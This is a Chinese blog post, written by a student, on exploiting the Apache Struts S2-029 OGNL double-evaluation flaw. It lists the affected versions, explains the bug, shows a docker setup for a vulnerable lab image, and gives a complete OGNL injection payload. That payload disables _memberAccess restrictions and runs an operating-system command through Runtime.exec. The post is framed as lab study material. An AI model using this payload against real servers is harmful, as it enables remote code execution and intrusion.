美文网首页
Struts-S2-029漏洞利用(含环境搭建、含POC)

Struts-S2-029漏洞利用(含环境搭建、含POC)

作者: 心如水_0b05 | 来源:发表于2017-08-03 00:23 被阅读0次

    Struts –s2-29

    此文仅供大家交流学习,严禁非法使用

    一、参考网址:

    http://blog.topsec.com.cn/ad_lab/struts2%E6%BC%8F%E6%B4%9Es2-029%E5%88%86%E6%9E%90/

    二、 影响版本:

    Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)

    三、 漏洞介绍:

    Struts框架被强制执行时,对分配给某些标签的属性值进行双重评估,因此可以传入一个值,当一个标签的属性将被渲染时,该值将被再次评估。

    漏洞理解:
    代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行。因此需要的条件极为苛刻,特殊的代码,value值为空,可以传参到value,控制name,严格来说应该是个本地漏洞。。

    四、 环境搭建:

    参考上面网址在linux搭建docker环境,感觉该作者精心做的可以远程代码执行的环境

    • 拉取镜像到本地

    $ docker pull medicean/vulapps:s_struts2_s2-029

    • 启动环境

    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-029

    五、 POC:

    (%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))
    

    六、 漏洞利用:

    1.png

    七、 至此,该漏洞基本利用完毕

    本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家

    坚决做一名白帽子

    相关文章

      网友评论

          本文标题:Struts-S2-029漏洞利用(含环境搭建、含POC)

          本文链接:https://www.haomeiwen.com/subject/carulxtx.html